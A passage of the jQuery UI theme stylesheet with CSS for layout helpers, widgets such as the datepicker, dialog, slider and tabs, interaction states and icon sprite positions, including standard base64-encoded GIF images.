* To view and modify this theme, visit http://jqueryui.com/themeroller/?ffDefault=Verdana%2CArial%2Csans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=cccccc&bgTextureHeader=highlight_soft&bgImgOpacityHeader=75&borderColorHeader=aaaaaa&fcHeader=222222&iconColorHeader=222222&bgColorContent=ffffff&bgTextureContent=flat&bgImgOpacityContent=75&borderColorContent=aaaaaa&fcContent=222222&iconColorContent=222222&bgColorDefault=e6e6e6&bgTextureDefault=glass&bgImgOpacityDefault=75&borderColorDefault=d3d3d3&fcDefault=555555&iconColorDefault=888888&bgColorHover=dadada&bgTextureHover=glass&bgImgOpacityHover=75&borderColorHover=999999&fcHover=212121&iconColorHover=454545&bgColorActive=ffffff&bgTextureActive=glass&bgImgOpacityActive=65&borderColorActive=aaaaaa&fcActive=212121&iconColorActive=454545&bgColorHighlight=fbf9ee&bgTextureHighlight=glass&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=glass&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=flat&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=flat&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px
* Copyright jQuery Foundation and other contributors; Licensed MIT */

/* Layout helpers
----------------------------------*/
.ui-helper-hidden {
	display: none;
}
.ui-helper-hidden-accessible {
	border: 0;
	clip: rect(0 0 0 0);
	height: 1px;
	margin: -1px;
	overflow: hidden;
	padding: 0;
	position: absolute;
	width: 1px;
}
.ui-helper-reset {
	margin: 0;
	padding: 0;
	border: 0;
	outline: 0;
	line-height: 1.3;
	text-decoration: none;
	font-size: 100%;
	list-style: none;
}
.ui-helper-clearfix:before,
.ui-helper-clearfix:after {
	content: "";
	display: table;
	border-collapse: collapse;
}
.ui-helper-clearfix:after {
	clear: both;
}
.ui-helper-zfix {
	width: 100%;
	height: 100%;
	top: 0;
	left: 0;
	position: absolute;
	opacity: 0;
	filter:Alpha(Opacity=0); /* support: IE8 */
}

.ui-front {
	z-index: 100;
}


/* Interaction Cues
----------------------------------*/
.ui-state-disabled {
	cursor: default !important;
	pointer-events: none;
}


/* Icons
----------------------------------*/
.ui-icon {
	display: inline-block;
	vertical-align: middle;
	margin-top: -.25em;
	position: relative;
	text-indent: -99999px;
	overflow: hidden;
	background-repeat: no-repeat;
}

.ui-widget-icon-block {
	left: 50%;
	margin-left: -8px;
	display: block;
}

/* Misc visuals
----------------------------------*/

/* Overlays */
.ui-widget-overlay {
	position: fixed;
	top: 0;
	left: 0;
	width: 100%;
	height: 100%;
}
.ui-accordion .ui-accordion-header {
	display: block;
	cursor: pointer;
	position: relative;
	margin: 2px 0 0 0;
	padding: .5em .5em .5em .7em;
	font-size: 100%;
}
.ui-accordion .ui-accordion-content {
	padding: 1em 2.2em;
	border-top: 0;
	overflow: auto;
}
.ui-autocomplete {
	position: absolute;
	top: 0;
	left: 0;
	cursor: default;
}
.ui-menu {
	list-style: none;
	padding: 0;
	margin: 0;
	display: block;
	outline: 0;
}
.ui-menu .ui-menu {
	position: absolute;
}
.ui-menu .ui-menu-item {
	margin: 0;
	cursor: pointer;
	/* support: IE10, see #8844 */
	list-style-image: url("data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7");
}
.ui-menu .ui-menu-item-wrapper {
	position: relative;
	padding: 3px 1em 3px .4em;
}
.ui-menu .ui-menu-divider {
	margin: 5px 0;
	height: 0;
	font-size: 0;
	line-height: 0;
	border-width: 1px 0 0 0;
}
.ui-menu .ui-state-focus,
.ui-menu .ui-state-active {
	margin: -1px;
}

/* icon support */
.ui-menu-icons {
	position: relative;
}
.ui-menu-icons .ui-menu-item-wrapper {
	padding-left: 2em;
}

/* left-aligned */
.ui-menu .ui-icon {
	position: absolute;
	top: 0;
	bottom: 0;
	left: .2em;
	margin: auto 0;
}

/* right-aligned */
.ui-menu .ui-menu-icon {
	left: auto;
	right: 0;
}
.ui-button {
	padding: .4em 1em;
	display: inline-block;
	position: relative;
	line-height: normal;
	margin-right: .1em;
	cursor: pointer;
	vertical-align: middle;
	text-align: center;
	-webkit-user-select: none;
	-moz-user-select: none;
	-ms-user-select: none;
	user-select: none;

	/* Support: IE <= 11 */
	overflow: visible;
}

.ui-button,
.ui-button:link,
.ui-button:visited,
.ui-button:hover,
.ui-button:active {
	text-decoration: none;
}

/* to make room for the icon, a width needs to be set here */
.ui-button-icon-only {
	width: 2em;
	box-sizing: border-box;
	text-indent: -9999px;
	white-space: nowrap;
}

/* no icon support for input elements */
input.ui-button.ui-button-icon-only {
	text-indent: 0;
}

/* button icon element(s) */
.ui-button-icon-only .ui-icon {
	position: absolute;
	top: 50%;
	left: 50%;
	margin-top: -8px;
	margin-left: -8px;
}

.ui-button.ui-icon-notext .ui-icon {
	padding: 0;
	width: 2.1em;
	height: 2.1em;
	text-indent: -9999px;
	white-space: nowrap;

}

input.ui-button.ui-icon-notext .ui-icon {
	width: auto;
	height: auto;
	text-indent: 0;
	white-space: normal;
	padding: .4em 1em;
}

/* workarounds */
/* Support: Firefox 5 - 40 */
input.ui-button::-moz-focus-inner,
button.ui-button::-moz-focus-inner {
	border: 0;
	padding: 0;
}
.ui-controlgroup {
	vertical-align: middle;
	display: inline-block;
}
.ui-controlgroup > .ui-controlgroup-item {
	float: left;
	margin-left: 0;
	margin-right: 0;
}
.ui-controlgroup > .ui-controlgroup-item:focus,
.ui-controlgroup > .ui-controlgroup-item.ui-visual-focus {
	z-index: 9999;
}
.ui-controlgroup-vertical > .ui-controlgroup-item {
	display: block;
	float: none;
	width: 100%;
	margin-top: 0;
	margin-bottom: 0;
	text-align: left;
}
.ui-controlgroup-vertical .ui-controlgroup-item {
	box-sizing: border-box;
}
.ui-controlgroup .ui-controlgroup-label {
	padding: .4em 1em;
}
.ui-controlgroup .ui-controlgroup-label span {
	font-size: 80%;
}
.ui-controlgroup-horizontal .ui-controlgroup-label + .ui-controlgroup-item {
	border-left: none;
}
.ui-controlgroup-vertical .ui-controlgroup-label + .ui-controlgroup-item {
	border-top: none;
}
.ui-controlgroup-horizontal .ui-controlgroup-label.ui-widget-content {
	border-right: none;
}
.ui-controlgroup-vertical .ui-controlgroup-label.ui-widget-content {
	border-bottom: none;
}

/* Spinner specific style fixes */
.ui-controlgroup-vertical .ui-spinner-input {

	/* Support: IE8 only, Android < 4.4 only */
	width: 75%;
	width: calc( 100% - 2.4em );
}
.ui-controlgroup-vertical .ui-spinner .ui-spinner-up {
	border-top-style: solid;
}

.ui-checkboxradio-label .ui-icon-background {
	box-shadow: inset 1px 1px 1px #ccc;
	border-radius: .12em;
	border: none;
}
.ui-checkboxradio-radio-label .ui-icon-background {
	width: 16px;
	height: 16px;
	border-radius: 1em;
	overflow: visible;
	border: none;
}
.ui-checkboxradio-radio-label.ui-checkboxradio-checked .ui-icon,
.ui-checkboxradio-radio-label.ui-checkboxradio-checked:hover .ui-icon {
	background-image: none;
	width: 8px;
	height: 8px;
	border-width: 4px;
	border-style: solid;
}
.ui-checkboxradio-disabled {
	pointer-events: none;
}
.ui-datepicker {
	width: 17em;
	padding: .2em .2em 0;
	display: none;
}
.ui-datepicker .ui-datepicker-header {
	position: relative;
	padding: .2em 0;
}
.ui-datepicker .ui-datepicker-prev,
.ui-datepicker .ui-datepicker-next {
	position: absolute;
	top: 2px;
	width: 1.8em;
	height: 1.8em;
}
.ui-datepicker .ui-datepicker-prev-hover,
.ui-datepicker .ui-datepicker-next-hover {
	top: 1px;
}
.ui-datepicker .ui-datepicker-prev {
	left: 2px;
}
.ui-datepicker .ui-datepicker-next {
	right: 2px;
}
.ui-datepicker .ui-datepicker-prev-hover {
	left: 1px;
}
.ui-datepicker .ui-datepicker-next-hover {
	right: 1px;
}
.ui-datepicker .ui-datepicker-prev span,
.ui-datepicker .ui-datepicker-next span {
	display: block;
	position: absolute;
	left: 50%;
	margin-left: -8px;
	top: 50%;
	margin-top: -8px;
}
.ui-datepicker .ui-datepicker-title {
	margin: 0 2.3em;
	line-height: 1.8em;
	text-align: center;
}
.ui-datepicker .ui-datepicker-title select {
	font-size: 1em;
	margin: 1px 0;
}
.ui-datepicker select.ui-datepicker-month,
.ui-datepicker select.ui-datepicker-year {
	width: 45%;
}
.ui-datepicker table {
	width: 100%;
	font-size: .9em;
	border-collapse: collapse;
	margin: 0 0 .4em;
}
.ui-datepicker th {
	padding: .7em .3em;
	text-align: center;
	font-weight: bold;
	border: 0;
}
.ui-datepicker td {
	border: 0;
	padding: 1px;
}
.ui-datepicker td span,
.ui-datepicker td a {
	display: block;
	padding: .2em;
	text-align: right;
	text-decoration: none;
}
.ui-datepicker .ui-datepicker-buttonpane {
	background-image: none;
	margin: .7em 0 0 0;
	padding: 0 .2em;
	border-left: 0;
	border-right: 0;
	border-bottom: 0;
}
.ui-datepicker .ui-datepicker-buttonpane button {
	float: right;
	margin: .5em .2em .4em;
	cursor: pointer;
	padding: .2em .6em .3em .6em;
	width: auto;
	overflow: visible;
}
.ui-datepicker .ui-datepicker-buttonpane button.ui-datepicker-current {
	float: left;
}

/* with multiple calendars */
.ui-datepicker.ui-datepicker-multi {
	width: auto;
}
.ui-datepicker-multi .ui-datepicker-group {
	float: left;
}
.ui-datepicker-multi .ui-datepicker-group table {
	width: 95%;
	margin: 0 auto .4em;
}
.ui-datepicker-multi-2 .ui-datepicker-group {
	width: 50%;
}
.ui-datepicker-multi-3 .ui-datepicker-group {
	width: 33.3%;
}
.ui-datepicker-multi-4 .ui-datepicker-group {
	width: 25%;
}
.ui-datepicker-multi .ui-datepicker-group-last .ui-datepicker-header,
.ui-datepicker-multi .ui-datepicker-group-middle .ui-datepicker-header {
	border-left-width: 0;
}
.ui-datepicker-multi .ui-datepicker-buttonpane {
	clear: left;
}
.ui-datepicker-row-break {
	clear: both;
	width: 100%;
	font-size: 0;
}

/* RTL support */
.ui-datepicker-rtl {
	direction: rtl;
}
.ui-datepicker-rtl .ui-datepicker-prev {
	right: 2px;
	left: auto;
}
.ui-datepicker-rtl .ui-datepicker-next {
	left: 2px;
	right: auto;
}
.ui-datepicker-rtl .ui-datepicker-prev:hover {
	right: 1px;
	left: auto;
}
.ui-datepicker-rtl .ui-datepicker-next:hover {
	left: 1px;
	right: auto;
}
.ui-datepicker-rtl .ui-datepicker-buttonpane {
	clear: right;
}
.ui-datepicker-rtl .ui-datepicker-buttonpane button {
	float: left;
}
.ui-datepicker-rtl .ui-datepicker-buttonpane button.ui-datepicker-current,
.ui-datepicker-rtl .ui-datepicker-group {
	float: right;
}
.ui-datepicker-rtl .ui-datepicker-group-last .ui-datepicker-header,
.ui-datepicker-rtl .ui-datepicker-group-middle .ui-datepicker-header {
	border-right-width: 0;
	border-left-width: 1px;
}

/* Icons */
.ui-datepicker .ui-icon {
	display: block;
	text-indent: -99999px;
	overflow: hidden;
	background-repeat: no-repeat;
	left: .5em;
	top: .3em;
}
.ui-dialog {
	position: absolute;
	top: 0;
	left: 0;
	padding: .2em;
	outline: 0;
}
.ui-dialog .ui-dialog-titlebar {
	padding: .4em 1em;
	position: relative;
}
.ui-dialog .ui-dialog-title {
	float: left;
	margin: .1em 0;
	white-space: nowrap;
	width: 90%;
	overflow: hidden;
	text-overflow: ellipsis;
}
.ui-dialog .ui-dialog-titlebar-close {
	position: absolute;
	right: .3em;
	top: 50%;
	width: 20px;
	margin: -10px 0 0 0;
	padding: 1px;
	height: 20px;
}
.ui-dialog .ui-dialog-content {
	position: relative;
	border: 0;
	padding: .5em 1em;
	background: none;
	overflow: auto;
}
.ui-dialog .ui-dialog-buttonpane {
	text-align: left;
	border-width: 1px 0 0 0;
	background-image: none;
	margin-top: .5em;
	padding: .3em 1em .5em .4em;
}
.ui-dialog .ui-dialog-buttonpane .ui-dialog-buttonset {
	float: right;
}
.ui-dialog .ui-dialog-buttonpane button {
	margin: .5em .4em .5em 0;
	cursor: pointer;
}
.ui-dialog .ui-resizable-n {
	height: 2px;
	top: 0;
}
.ui-dialog .ui-resizable-e {
	width: 2px;
	right: 0;
}
.ui-dialog .ui-resizable-s {
	height: 2px;
	bottom: 0;
}
.ui-dialog .ui-resizable-w {
	width: 2px;
	left: 0;
}
.ui-dialog .ui-resizable-se,
.ui-dialog .ui-resizable-sw,
.ui-dialog .ui-resizable-ne,
.ui-dialog .ui-resizable-nw {
	width: 7px;
	height: 7px;
}
.ui-dialog .ui-resizable-se {
	right: 0;
	bottom: 0;
}
.ui-dialog .ui-resizable-sw {
	left: 0;
	bottom: 0;
}
.ui-dialog .ui-resizable-ne {
	right: 0;
	top: 0;
}
.ui-dialog .ui-resizable-nw {
	left: 0;
	top: 0;
}
.ui-draggable .ui-dialog-titlebar {
	cursor: move;
}
.ui-draggable-handle {
	-ms-touch-action: none;
	touch-action: none;
}
.ui-resizable {
	position: relative;
}
.ui-resizable-handle {
	position: absolute;
	font-size: 0.1px;
	display: block;
	-ms-touch-action: none;
	touch-action: none;
}
.ui-resizable-disabled .ui-resizable-handle,
.ui-resizable-autohide .ui-resizable-handle {
	display: none;
}
.ui-resizable-n {
	cursor: n-resize;
	height: 7px;
	width: 100%;
	top: -5px;
	left: 0;
}
.ui-resizable-s {
	cursor: s-resize;
	height: 7px;
	width: 100%;
	bottom: -5px;
	left: 0;
}
.ui-resizable-e {
	cursor: e-resize;
	width: 7px;
	right: -5px;
	top: 0;
	height: 100%;
}
.ui-resizable-w {
	cursor: w-resize;
	width: 7px;
	left: -5px;
	top: 0;
	height: 100%;
}
.ui-resizable-se {
	cursor: se-resize;
	width: 12px;
	height: 12px;
	right: 1px;
	bottom: 1px;
}
.ui-resizable-sw {
	cursor: sw-resize;
	width: 9px;
	height: 9px;
	left: -5px;
	bottom: -5px;
}
.ui-resizable-nw {
	cursor: nw-resize;
	width: 9px;
	height: 9px;
	left: -5px;
	top: -5px;
}
.ui-resizable-ne {
	cursor: ne-resize;
	width: 9px;
	height: 9px;
	right: -5px;
	top: -5px;
}
.ui-progressbar {
	height: 2em;
	text-align: left;
	overflow: hidden;
}
.ui-progressbar .ui-progressbar-value {
	margin: -1px;
	height: 100%;
}
.ui-progressbar .ui-progressbar-overlay {
	background: url("data:image/gif;base64,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");
	height: 100%;
	filter: alpha(opacity=25); /* support: IE8 */
	opacity: 0.25;
}
.ui-progressbar-indeterminate .ui-progressbar-value {
	background-image: none;
}
.ui-selectable {
	-ms-touch-action: none;
	touch-action: none;
}
.ui-selectable-helper {
	position: absolute;
	z-index: 100;
	border: 1px dotted black;
}
.ui-selectmenu-menu {
	padding: 0;
	margin: 0;
	position: absolute;
	top: 0;
	left: 0;
	display: none;
}
.ui-selectmenu-menu .ui-menu {
	overflow: auto;
	overflow-x: hidden;
	padding-bottom: 1px;
}
.ui-selectmenu-menu .ui-menu .ui-selectmenu-optgroup {
	font-size: 1em;
	font-weight: bold;
	line-height: 1.5;
	padding: 2px 0.4em;
	margin: 0.5em 0 0 0;
	height: auto;
	border: 0;
}
.ui-selectmenu-open {
	display: block;
}
.ui-selectmenu-text {
	display: block;
	margin-right: 20px;
	overflow: hidden;
	text-overflow: ellipsis;
}
.ui-selectmenu-button.ui-button {
	text-align: left;
	white-space: nowrap;
	width: 14em;
}
.ui-selectmenu-icon.ui-icon {
	float: right;
	margin-top: 0;
}
.ui-slider {
	position: relative;
	text-align: left;
}
.ui-slider .ui-slider-handle {
	position: absolute;
	z-index: 2;
	width: 1.2em;
	height: 1.2em;
	cursor: default;
	-ms-touch-action: none;
	touch-action: none;
}
.ui-slider .ui-slider-range {
	position: absolute;
	z-index: 1;
	font-size: .7em;
	display: block;
	border: 0;
	background-position: 0 0;
}

/* support: IE8 - See #6727 */
.ui-slider.ui-state-disabled .ui-slider-handle,
.ui-slider.ui-state-disabled .ui-slider-range {
	filter: inherit;
}

.ui-slider-horizontal {
	height: .8em;
}
.ui-slider-horizontal .ui-slider-handle {
	top: -.3em;
	margin-left: -.6em;
}
.ui-slider-horizontal .ui-slider-range {
	top: 0;
	height: 100%;
}
.ui-slider-horizontal .ui-slider-range-min {
	left: 0;
}
.ui-slider-horizontal .ui-slider-range-max {
	right: 0;
}

.ui-slider-vertical {
	width: .8em;
	height: 100px;
}
.ui-slider-vertical .ui-slider-handle {
	left: -.3em;
	margin-left: 0;
	margin-bottom: -.6em;
}
.ui-slider-vertical .ui-slider-range {
	left: 0;
	width: 100%;
}
.ui-slider-vertical .ui-slider-range-min {
	bottom: 0;
}
.ui-slider-vertical .ui-slider-range-max {
	top: 0;
}
.ui-sortable-handle {
	-ms-touch-action: none;
	touch-action: none;
}
.ui-spinner {
	position: relative;
	display: inline-block;
	overflow: hidden;
	padding: 0;
	vertical-align: middle;
}
.ui-spinner-input {
	border: none;
	background: none;
	color: inherit;
	padding: .222em 0;
	margin: .2em 0;
	vertical-align: middle;
	margin-left: .4em;
	margin-right: 2em;
}
.ui-spinner-button {
	width: 1.6em;
	height: 50%;
	font-size: .5em;
	padding: 0;
	margin: 0;
	text-align: center;
	position: absolute;
	cursor: default;
	display: block;
	overflow: hidden;
	right: 0;
}
/* more specificity required here to override default borders */
.ui-spinner a.ui-spinner-button {
	border-top-style: none;
	border-bottom-style: none;
	border-right-style: none;
}
.ui-spinner-up {
	top: 0;
}
.ui-spinner-down {
	bottom: 0;
}
.ui-tabs {
	position: relative;/* position: relative prevents IE scroll bug (element with position: relative inside container with overflow: auto appear as "fixed") */
	padding: .2em;
}
.ui-tabs .ui-tabs-nav {
	margin: 0;
	padding: .2em .2em 0;
}
.ui-tabs .ui-tabs-nav li {
	list-style: none;
	float: left;
	position: relative;
	top: 0;
	margin: 1px .2em 0 0;
	border-bottom-width: 0;
	padding: 0;
	white-space: nowrap;
}
.ui-tabs .ui-tabs-nav .ui-tabs-anchor {
	float: left;
	padding: .5em 1em;
	text-decoration: none;
}
.ui-tabs .ui-tabs-nav li.ui-tabs-active {
	margin-bottom: -1px;
	padding-bottom: 1px;
}
.ui-tabs .ui-tabs-nav li.ui-tabs-active .ui-tabs-anchor,
.ui-tabs .ui-tabs-nav li.ui-state-disabled .ui-tabs-anchor,
.ui-tabs .ui-tabs-nav li.ui-tabs-loading .ui-tabs-anchor {
	cursor: text;
}
.ui-tabs-collapsible .ui-tabs-nav li.ui-tabs-active .ui-tabs-anchor {
	cursor: pointer;
}
.ui-tabs .ui-tabs-panel {
	display: block;
	border-width: 0;
	padding: 1em 1.4em;
	background: none;
}
.ui-tooltip {
	padding: 8px;
	position: absolute;
	z-index: 9999;
	max-width: 300px;
}
body .ui-tooltip {
	border-width: 2px;
}
/* Component containers
----------------------------------*/
.ui-widget {
	font-family: Verdana,Arial,sans-serif;
	font-size: 1.1em;
}
.ui-widget .ui-widget {
	font-size: 1em;
}
.ui-widget input,
.ui-widget select,
.ui-widget textarea,
.ui-widget button {
	font-family: Verdana,Arial,sans-serif;
	font-size: 1em;
}
.ui-widget.ui-widget-content {
	border: 1px solid #d3d3d3;
}
.ui-widget-content {
	border: 1px solid #aaaaaa;
	background: #ffffff;
	color: #222222;
}
.ui-widget-content a {
	color: #222222;
}
.ui-widget-header {
	border: 1px solid #aaaaaa;
	background: #cccccc url("images/ui-bg_highlight-soft_75_cccccc_1x100.png") 50% 50% repeat-x;
	color: #222222;
	font-weight: bold;
}
.ui-widget-header a {
	color: #222222;
}

/* Interaction states
----------------------------------*/
.ui-state-default,
.ui-widget-content .ui-state-default,
.ui-widget-header .ui-state-default,
.ui-button,

/* We use html here because we need a greater specificity to make sure disabled
works properly when clicked or hovered */
html .ui-button.ui-state-disabled:hover,
html .ui-button.ui-state-disabled:active {
	border: 1px solid #d3d3d3;
	background: #e6e6e6 url("images/ui-bg_glass_75_e6e6e6_1x400.png") 50% 50% repeat-x;
	font-weight: normal;
	color: #555555;
}
.ui-state-default a,
.ui-state-default a:link,
.ui-state-default a:visited,
a.ui-button,
a:link.ui-button,
a:visited.ui-button,
.ui-button {
	color: #555555;
	text-decoration: none;
}
.ui-state-hover,
.ui-widget-content .ui-state-hover,
.ui-widget-header .ui-state-hover,
.ui-state-focus,
.ui-widget-content .ui-state-focus,
.ui-widget-header .ui-state-focus,
.ui-button:hover,
.ui-button:focus {
	border: 1px solid #999999;
	background: #dadada url("images/ui-bg_glass_75_dadada_1x400.png") 50% 50% repeat-x;
	font-weight: normal;
	color: #212121;
}
.ui-state-hover a,
.ui-state-hover a:hover,
.ui-state-hover a:link,
.ui-state-hover a:visited,
.ui-state-focus a,
.ui-state-focus a:hover,
.ui-state-focus a:link,
.ui-state-focus a:visited,
a.ui-button:hover,
a.ui-button:focus {
	color: #212121;
	text-decoration: none;
}

.ui-visual-focus {
	box-shadow: 0 0 3px 1px rgb(94, 158, 214);
}
.ui-state-active,
.ui-widget-content .ui-state-active,
.ui-widget-header .ui-state-active,
a.ui-button:active,
.ui-button:active,
.ui-button.ui-state-active:hover {
	border: 1px solid #aaaaaa;
	background: #ffffff url("images/ui-bg_glass_65_ffffff_1x400.png") 50% 50% repeat-x;
	font-weight: normal;
	color: #212121;
}
.ui-icon-background,
.ui-state-active .ui-icon-background {
	border: #aaaaaa;
	background-color: #212121;
}
.ui-state-active a,
.ui-state-active a:link,
.ui-state-active a:visited {
	color: #212121;
	text-decoration: none;
}

/* Interaction Cues
----------------------------------*/
.ui-state-highlight,
.ui-widget-content .ui-state-highlight,
.ui-widget-header .ui-state-highlight {
	border: 1px solid #fcefa1;
	background: #fbf9ee url("images/ui-bg_glass_55_fbf9ee_1x400.png") 50% 50% repeat-x;
	color: #363636;
}
.ui-state-checked {
	border: 1px solid #fcefa1;
	background: #fbf9ee;
}
.ui-state-highlight a,
.ui-widget-content .ui-state-highlight a,
.ui-widget-header .ui-state-highlight a {
	color: #363636;
}
.ui-state-error,
.ui-widget-content .ui-state-error,
.ui-widget-header .ui-state-error {
	border: 1px solid #cd0a0a;
	background: #fef1ec url("images/ui-bg_glass_95_fef1ec_1x400.png") 50% 50% repeat-x;
	color: #cd0a0a;
}
.ui-state-error a,
.ui-widget-content .ui-state-error a,
.ui-widget-header .ui-state-error a {
	color: #cd0a0a;
}
.ui-state-error-text,
.ui-widget-content .ui-state-error-text,
.ui-widget-header .ui-state-error-text {
	color: #cd0a0a;
}
.ui-priority-primary,
.ui-widget-content .ui-priority-primary,
.ui-widget-header .ui-priority-primary {
	font-weight: bold;
}
.ui-priority-secondary,
.ui-widget-content .ui-priority-secondary,
.ui-widget-header .ui-priority-secondary {
	opacity: .7;
	filter:Alpha(Opacity=70); /* support: IE8 */
	font-weight: normal;
}
.ui-state-disabled,
.ui-widget-content .ui-state-disabled,
.ui-widget-header .ui-state-disabled {
	opacity: .35;
	filter:Alpha(Opacity=35); /* support: IE8 */
	background-image: none;
}
.ui-state-disabled .ui-icon {
	filter:Alpha(Opacity=35); /* support: IE8 - See #6059 */
}

/* Icons
----------------------------------*/

/* states and images */
.ui-icon {
	width: 16px;
	height: 16px;
}
.ui-icon,
.ui-widget-content .ui-icon {
	background-image: url("images/ui-icons_222222_256x240.png");
}
.ui-widget-header .ui-icon {
	background-image: url("images/ui-icons_222222_256x240.png");
}
.ui-state-hover .ui-icon,
.ui-state-focus .ui-icon,
.ui-button:hover .ui-icon,
.ui-button:focus .ui-icon {
	background-image: url("images/ui-icons_454545_256x240.png");
}
.ui-state-active .ui-icon,
.ui-button:active .ui-icon {
	background-image: url("images/ui-icons_454545_256x240.png");
}
.ui-state-highlight .ui-icon,
.ui-button .ui-state-highlight.ui-icon {
	background-image: url("images/ui-icons_2e83ff_256x240.png");
}
.ui-state-error .ui-icon,
.ui-state-error-text .ui-icon {
	background-image: url("images/ui-icons_cd0a0a_256x240.png");
}
.ui-button .ui-icon {
	background-image: url("images/ui-icons_888888_256x240.png");
}

/* positioning */
.ui-icon-blank { background-position: 16px 16px; }
.ui-icon-caret-1-n { background-position: 0 0; }
.ui-icon-caret-1-ne { background-position: -16px 0; }
.ui-icon-caret-1-e { background-position: -32px 0; }
.ui-icon-caret-1-se { background-position: -48px 0; }
.ui-icon-caret-1-s { background-position: -65px 0; }
.ui-icon-caret-1-sw { background-position: -80px 0; }
.ui-icon-caret-1-w { background-position: -96px 0; }
.ui-icon-caret-1-nw { background-position: -112px 0; }
.ui-icon-caret-2-n-s { background-position: -128px 0; }
.ui-icon-caret-2-e-w { background-position: -144px 0; }
.ui-icon-triangle-1-n { background-position: 0 -16px; }
.ui-icon-triangle-1-ne { background-position: -16px -16px; }
.ui-icon-triangle-1-e { background-position: -32px -16px; }
.ui-icon-triangle-1-se { background-position: -48px -16px; }
.ui-icon-triangle-1-s { background-position: -65px -16px; }
.ui-icon-triangle-1-sw { background-position: -80px -16px; }
.ui-icon-triangle-1-w { background-position: -96px -16px; }
.ui-icon-triangle-1-nw { background-position: -112px -16px; }
.ui-icon-triangle-2-n-s { background-position: -128px -16px; }
.ui-icon-triangle-2-e-w { background-position: -144px -16px; }
.ui-icon-arrow-1-n { background-position: 0 -32px; }
.ui-icon-arrow-1-ne { background-position: -16px -32px; }
.ui-icon-arrow-1-e { background-position: -32px -32px; }
.ui-icon-arrow-1-se { background-position: -48px -32px; }
